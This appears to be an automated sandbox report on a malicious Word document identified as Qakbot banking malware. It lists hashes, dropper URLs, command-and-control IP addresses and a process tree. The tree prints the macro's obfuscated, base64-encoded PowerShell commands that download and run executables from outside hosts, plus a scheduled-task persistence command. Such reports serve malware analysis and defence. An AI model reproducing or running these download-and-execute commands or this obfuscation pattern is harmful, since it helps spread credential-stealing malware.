Overview

overview

10

Static

static

8

AGRMT_0605...95.doc

windows7_x64

10

AGRMT_0605...95.doc

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    09-06-2020 11:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    AGRMT_06052020_195.doc

  • Size

    220KB

  • MD5

    bc8cf7a3c840dc88cfa89f69852e46e6

  • SHA1

    1528a5750c9072ebbc963687079c010b18240c9e

  • SHA256

    e0dffa6bd2f4dd302690fc57b659149f59c394b4235edf33bf6a10ba0873dafc

  • SHA512

    c2ed63d68e2f23917f448e8bda38058f7c6c02fce9b6fdd474983bed4e0e089759407d214f5eb307eb58101017a9918fae0307bdd10d1634ff26084eed7ea317

Score
10/10
trojanbankerstealerqakbot

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://salwadm.com/tcphx/8888888.png

Extracted

Language
ps1
Source
URLs
exe.dropper

http://flipkenya.com/nujazbwrhjy/8888888.png

Extracted

Family

qakbot

Botnet

spx135

Campaign

1591627649

C2

89.32.216.156:443

74.222.204.82:443

24.183.39.93:443

97.93.211.17:443

80.14.209.42:2222

96.35.170.82:2222

151.73.124.242:443

98.110.231.63:443

108.227.161.27:995

173.3.132.17:995

31.5.41.52:443

24.122.228.88:443

5.107.208.94:2222

76.185.136.58:443

50.29.166.232:995

73.210.114.187:443

92.114.107.193:995

24.43.22.220:993

50.247.230.33:995

72.142.106.198:465

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 7 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

    trojanbankerstealerqakbot

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\AGRMT_06052020_195.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1312
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c mkdir C:\Users\Public\tmpdir
      2⤵
      • Process spawned unexpected child process
      PID:1064
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /C choice /C Y /N /D Y /T 1 & Del C:\Users\Public\tmp.bat
      2⤵
      • Process spawned unexpected child process
      PID:1496
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 1
        3⤵
          PID:1812
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL3NhbHdhZG0uY29tL3RjcGh4Lzg4ODg4ODgucG5n')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:\Users\Public\1.txt
        2⤵
        • Process spawned unexpected child process
        PID:1688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL3NhbHdhZG0uY29tL3RjcGh4Lzg4ODg4ODgucG5n')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e')
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Blacklisted process makes network request
          • Suspicious use of AdjustPrivilegeToken
          PID:1804
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:\Users\Public\tmpdir\tmps1.bat & del C:\Users\Public\1.txt
        2⤵
        • Process spawned unexpected child process
        PID:1844
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 65
          3⤵
            PID:1780
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2ZsaXBrZW55YS5jb20vbnVqYXpid3JoankvODg4ODg4OC5wbmc=')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '2' + '.e' + 'x' + 'e') >C:\Users\Public\2.txt
          2⤵
          • Process spawned unexpected child process
          PID:368
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2ZsaXBrZW55YS5jb20vbnVqYXpid3JoankvODg4ODg4OC5wbmc=')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '2' + '.e' + 'x' + 'e')
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Blacklisted process makes network request
            • Suspicious use of AdjustPrivilegeToken
            PID:928
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:\Users\Public\tmpdir\tmps2.bat & del C:\Users\Public\2.txt
          2⤵
          • Process spawned unexpected child process
          PID:1608
          • C:\Windows\system32\choice.exe
            choice /C Y /N /D Y /T 65
            3⤵
              PID:1568
          • C:\Windows\system32\cmd.exe
            cmd /c C:\Users\Public\tmpdir\tmps2.bat
            2⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /C choice /C Y /N /D Y /T 2
              3⤵
                PID:632
                • C:\Windows\system32\choice.exe
                  choice /C Y /N /D Y /T 2
                  4⤵
                    PID:828
                • C:\Users\Public\tmpdir\file2.exe
                  C:\Users\Public\tmpdir\file2.exe
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  • Suspicious use of WriteProcessMemory
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:748
                  • C:\Users\Public\tmpdir\file2.exe
                    C:\Users\Public\tmpdir\file2.exe /C
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Executes dropped EXE
                    PID:1532
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
                    C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    • Suspicious behavior: MapViewOfSection
                    • Executes dropped EXE
                    PID:1812
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
                      C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe /C
                      5⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Executes dropped EXE
                      PID:1768
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      5⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1740
                  • C:\Windows\SysWOW64\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn fcyfsnhihx /tr "\"C:\Users\Public\tmpdir\file2.exe\" /I fcyfsnhihx" /SC ONCE /Z /ST 14:09 /ET 14:21
                    4⤵
                    • Creates scheduled task(s)
                    PID:1380

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Initial Access

            Execution

            Scheduled Task

            1
            T1053

            Persistence

            Scheduled Task

            1
            T1053

            Privilege Escalation

            Scheduled Task

            1
            T1053

            Defense Evasion

            Credential Access

            Discovery

            Lateral Movement

            Collection

            Exfiltration

            Command and Control

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
              Download Submit
            • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.dat
              Download Submit
            • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
              Download Submit
            • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
              Download Submit
            • C:\Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
              Download Submit
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              Download Submit
            • C:\Users\Public\1.txt
              Download Submit
            • C:\Users\Public\2.txt
              Download Submit
            • C:\Users\Public\tmp.bat
              Download Submit
            • C:\Users\Public\tmpdir\file2.exe
              Download Submit
            • C:\Users\Public\tmpdir\file2.exe
              Download Submit
            • C:\Users\Public\tmpdir\file2.exe
              Download Submit
            • C:\Users\Public\tmpdir\tmps2.bat
              Download Submit
            • \Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
              Download Submit
            • \Users\Admin\AppData\Roaming\Microsoft\Azpnylmfhe\cwvvo.exe
              Download Submit
            • memory/1312-2-0x00000000089D0000-0x00000000089D4000-memory.dmp
              Filesize

              16KB

              Download
            • memory/1532-19-0x00000000022C0000-0x00000000022D1000-memory.dmp
              Filesize

              68KB

              Download
            • memory/1768-25-0x0000000002370000-0x0000000002381000-memory.dmp
              Filesize

              68KB

              Download
            • memory/1812-26-0x0000000000370000-0x00000000003AA000-memory.dmp
              Filesize

              232KB

              Download